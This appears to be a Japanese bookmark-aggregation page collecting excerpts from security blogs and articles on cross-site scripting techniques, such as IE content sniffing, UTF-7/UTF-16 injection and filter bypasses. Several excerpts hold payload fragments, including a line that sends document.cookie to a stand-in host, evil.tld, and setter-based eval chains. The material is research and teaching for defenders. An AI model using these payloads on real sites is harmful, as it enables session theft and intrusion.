X-Content-Type-Options: nosniff つかわないやつは死ねばいいのに! - 葉っぱ日記
2011-01-06: IE8ということを追記 & ちょっと間違いを修正。あけましておめでとうございます。 年明け早々ですが、Internet Explorerの話題です。IEはご存じの通り、Content-Type だけでなくコンテンツの内容なども sniff することでファイルタイプを決定しているため、画像ファイルやテキストファイルをHTMLと判定してしまい、クロスサイトスクリプティングが発生することが昔からたびたび報告されていました*1。現在は幾分マシになったとはいえ、IEのファイルタイプの判定アルゴリズムは非常に難解であり、現在でも状況によってはWebサイト運営者のまったく意図していないかたちでのXSSが発生する可能性があったりします。そういうわけで、IEがコンテンツを sniff してHTML以外のものをHTML扱いしてしまうことを防ぐために、動的にコンテンツを生成している場合に
XSSer: automatic tool for pentesting XSS attacks against different applications
XSSer: automatic tool for pentesting XSS attacks against different applications
IIS 7.5 详细错误 - 404.0 - Not Found
错误摘要 HTTP 错误 404.0 - Not Found 您要找的资源已被删除、已更名或暂时不可用。
2009-07-08
このネタがクロスブラウザでできるとは思っていませんでした。すｇぇ。UTF-16の動的コンテンツにおけるXSS也。 先日出題した詰めXSSの回答編の第一回です。文字列禁止一歩手前でJavaScriptを動かしてみようというネタです。記号としては「=」だけでcookie取得ぐらいならしてみようかと。時間がないので少しずつという罠。 今回は私が考えておいたひとつの回答例を説明するためのパーツを一部分。cookieを取得する部分の考え方です。これを後で加工して使う予定です。 document.documentElement.firstChild.appendChild(document.createElement('script')).src='\/\/evil.tld\/dummy.js?q='+encodeURIComponent(document.cookie)コードに多少手打ち間違いがあっ
alert(0)されたら - hoshikuzu | star_dust の書斎
XSS (Cross Site Scripting) Cheat Sheetなど、いろいろあるXSS対策まとめページで、しばしば、alert('XSS')の方法の変種について書いてあります。このページでも同様で、String.fromCharCodeを使えば、悪意ある文字列を仕込むときに引用符を使わなくてもいいじゃん？みたいなことが書いてあります。このほか、/xss/.sourceを使えるとかの解説も世に多いわけです。 でもちょっと待って！alert(/XSS/.source)や、alert(String.fromCharCode(88,83,83))などのバリエーションなぞ、本物の攻撃者はあんまり使わないんじゃないかな？どうです？…というのは、alert(0)が出来たらそれで終わりじゃないの？という気がするからです。文字列をalertじゃなくて、数字がalertできたらほとんど攻撃成立じ
UTF-16の動的コンテンツにおけるXSS - masa141421356’s blog
charset指定を明示しない動的なUTF-16のHTMLでは、 動的に生成した部分に1バイトで文字を表現できるエンコーディングで HTMLのタグと認識できるようなバイト列を注入することでXSSが成立する。 例： UTF-16（BE,BOMなし)で生成されるレスポンスが <html><head> <title>ユーザー入力文字列</title> </head> <body>AA</body></html>の場合。(便宜上改行していますが実際には改行されていないものと思ってください） ユーザー入力文字列のUTF-16でのバイト列が hex表記で 3C 2F 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E 61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 3C 2F 73 63
詰めXSS回答第弐回（分割方式） - hoshikuzu | star_dust の書斎
続きです。Firefoxにおいては、注入するスクリプト断片に「()」を含まないようにしながら関数の実行が可能です。まず簡単のために、詰めXSS出題時に比べて制限をゆるめてみます。とりあえずalert(1)をしてみようとするものです。 <script> a setter = alert a = 1 </script> 上記でalert(1)が実行されます。この記法は、Firefoxの初期の実装でして、setter や getter の古い書き方です。また、既に廃止予定の記述方法です。近い将来無効になるかもしれません。 さて、さらに、location.hashがスクリプト注入時のペイロードになっているケースを想定してみましょう。Firefox3.0.11 で確認済みです。 <script> u setter = unescape e setter = eval e = u = location
第6回 先行バイトの埋め込み | gihyo.jp
今回は、「先行バイトの埋め込み」という攻撃方法について紹介します。 ご存じのとおり、ほとんどの符号化方式（文字エンコーディング）においては、ひらがなや漢字などASCII以外のほとんどの文字は、1文字が複数バイトにて構成されています。たとえば、ひらがなの「あ」は、Shift_JISにおいては0x82 0xA0という2バイト、UTF-8においては0xE3 0x81 0x82という3バイトで表現されます。 攻撃者がマルチバイト文字の先行バイト部分だけを与えることにより、本来存在している後続の文字を無効にしてしまうのが、今回紹介する「先行バイトの埋め込み」という攻撃方法です。 先行バイト埋め込みの具体例 では、具体的な例を見ていきましょう。 たとえば、Shift_JISで書かれたHTMLとして、次のようなものがあったとします。 name: <input type=text value="" />
IE8のXSSフィルタが裏目に出る例 - 2009-06-22 - T.Teradaの日記
IE8のXSSフィルタは、WebアプリにXSS脆弱性があったとしても、それが発動する可能性を減らしてくれるものです。 しかし、そのXSSフィルタが裏目に出るようなこともあります。 例えば、以下のような静的なHTMLファイル（test.html）を作ってWebサーバにおきます。 <h3>ie8 test</h3> <!-- 1 --> <script> var u=document.URL; </script> <!-- 2 --> <script> u=u.replace(/&/g,'&').replace(/</g,'<'); </script> <!-- 3 --> <script> document.write('URL:'+u); </script> 上のページは静的なページで、DOM Based XSSの脆弱性もありません。ですが、被害者のユーザがIE8を使っている
2009-06-10
たとえば以下のように、script要素の中に第三者の記述(=$userdata)が埋め込まれるとします。 <script type="text/javascript" > $userdata </script>防衛観点からみれば、こんなことが可能なようでは、まず駄目というのが定説です。まぁそれでもなんらかのフィルターがあればまだましだろう、という考え方もあろうかと思います。私はそのような隙のある考え方にはおおいに問題があるとかねてより考えております。ですから、強力なフィルターを脳内で考えてはそれを打破してみる、といった遊びを時々行うわけです。変なフィルターに頼ることだけでは駄目である、という事実を知りたいのですね。 記号だけでJavaScriptを実行するというid:hasegawayosukeさんの最近の素晴らしいアイデアにはほとほと感服しました。文字列を拾ってブラックリストにのっていれ
教科書に載らないWebアプリケーションセキュリティ 第1回 ［これはひどい］IEの引用符の解釈 − ＠IT
XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます（編集部） 小さな話題が面白い 皆さん、はじめまして。はせがわようすけと申します。 「教科書に載らないWebアプリケーションセキュリティ」ということで、Webアプリケーションのセキュリティに関連する、普段あまり見掛けないような小さな話題を取り上げていきたいと思います。 セキュアなWebアプリケーションを実現するために、開発者の方だけでなく、Webアプリケーションの脆弱性検査を行う方々にも読んでいただきたいと思っています。重箱の隅を楊枝でほじくるような小さな話題ばかりですが、皆さんよろしくお願いします。 さて第1回は、Internet ExplorerがHTMLを解釈する際の引用
自作検査ツール - XSS編 - 2009-01-31 - T.Teradaの日記
ちょっと時間があいてしまいましたが、自作ツールのXSS検査について書きます。 XSSシグネチャ 検査文字列は基本的には2種類のみです。 □タイプA XXXXXX【元の値】'"<9 :&(;\qYYYYYY □タイプB XXXXXX【元の値】'":&(;\qYYYYYY ※ XXXXXX、YYYYYYはランダムな英数文字列ツールは、これらの文字列をパラメータとして与えて、HTMLのどのような文脈に出力されるのか（何らかの属性の値なのか、あるいはSCRIPTタグの内側かなど）、そして出力の際にどのようなエンコードやフィルタが施されるのかを調べて、脆弱性が存在する可能性を調べていきます。 例えば、パラメータ値が「'」や「"」で括られていない属性値に出力されるとします。 <INPUT type="text" name="foo" value=【ここに出る】>この場合、（正確に言うと一部例外はありま
UTF-7でスクリプトを実行させるXSSについて
IEでUTF-7なスクリプトをiframeの中に表示するとXSSが発生するメモです。 あんまりこの話には詳しくないので、今後の調査材料として残しときます。 （※一応悪用厳禁であります！） iframe内のエンコードが正しく指定されていない場合は、そのiframeの親にあたる部分のエンコードが自動的に適用されるというIEのバグがあるみたい。 今回はそれのちょこっとした検証！ 1番初めに呼ばれるhtml（①.html） <html> <head> <title> </title> </head> <body> <script type="text/javascript"> window.onload = function(){ var iframe = document.createElement('iframe'); iframe.src = '/utf7XSS/utf7XSS'; docu
I, newbie � book review: XSS Exploits
結論: XSSの(現時点での)すべてをまとめた良書(ISBN-10: 1597491543)。 あのRSnake氏が書いた本ということでゲットした(死語)。まぁ、よく網羅したというか。基本的に、pentester向けの本なので、それが本職じゃないひとにはやや冗長かもしれない。でも、XSSの仕組みから具体的なexploitの作成、XSSがもたらすconsequenceまでが解説される過程で、攻撃者の豊かな想像力に圧倒され「中途半端な対策は無駄だ」と否が応でも悟らせる。自分は、防御側の方がはるかに困難で、だからこそやりがいもあると感じているひとなのだけど、これを読むとblack hatに(金銭的な側面を別としても)魅力を感じるのもわかる。この本の中で取り上げられているexploitはそのまま防御に役立つというわけではないけれど、攻撃者の思考や方法論を知ることはまったく役に立たないわけではない。
JavaScript無しでフォームをコントロール
(Last Updated On: 2008年9月3日)言われてみれば、そう言えばそんな機能があったね、と思うような機能はよくあります。 JavaScript無しでフォームを制御する方法はHTML4が策定されている時に追加された機能です。 http://www.w3.org/TR/html401/interact/forms.html#h-17.2.1 以下のLABELタグのサンプルは http://www.0x000000.com/?i=635 より拝借しています。 <label for="action"> <body> Etymology of "Foo" 1 April 2001 When used in connection with `bar' it is generally traced to the WW II era Army slang acronym FUBAR (`F
[セキュリティ]javascript://のXSS 00:17 - 2008-07-30 - T.Teradaの日記
こんな場合、普通はjavascriptやdataスキームなどを使ってXSSさせるのでしょう。 <a href="ここにHTMLエンコードされて入る">link</a> しかし、このアプリは「javascript://...」のように、先頭からアルファベット数文字が続き、その直後に「://」が付いている値以外は、エラーではじいてしまいます。 この「:」のあとの「//」が曲者です。 dataスキーマを試してみましたが、「//」があるとどうやらダメらしいということで、javascriptスキームで頑張ってみます。 まずはこんな感じです。 <a href="javascript://hoge[0x0A]alert(111)">link</a> 「//」が行コメントの開始になるため、[0x0A]（LF）や[0x0D][0x0A]（CRLF）を入れてみて、その後に動かしたいJavaScriptコードを
![[セキュリティ]javascript://のXSS 00:17 - 2008-07-30 - T.Teradaの日記](https://cdn-ak-scissors.b.st-hatena.com/image/square/3ce21f422dafba32f7c257ef3ed09227bfdd2c5e/height=288;version=1;width=512/https%3A%2F%2Fogimage.blog.st-hatena.com%2F10257846132711010800%2F10257846132711092219%2F1548045373)
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
HTML5 Security Cheatsheet - 葉っぱ日記
sk
XSS fortune cookie
はてなブログ | 無料ブログを作成しよう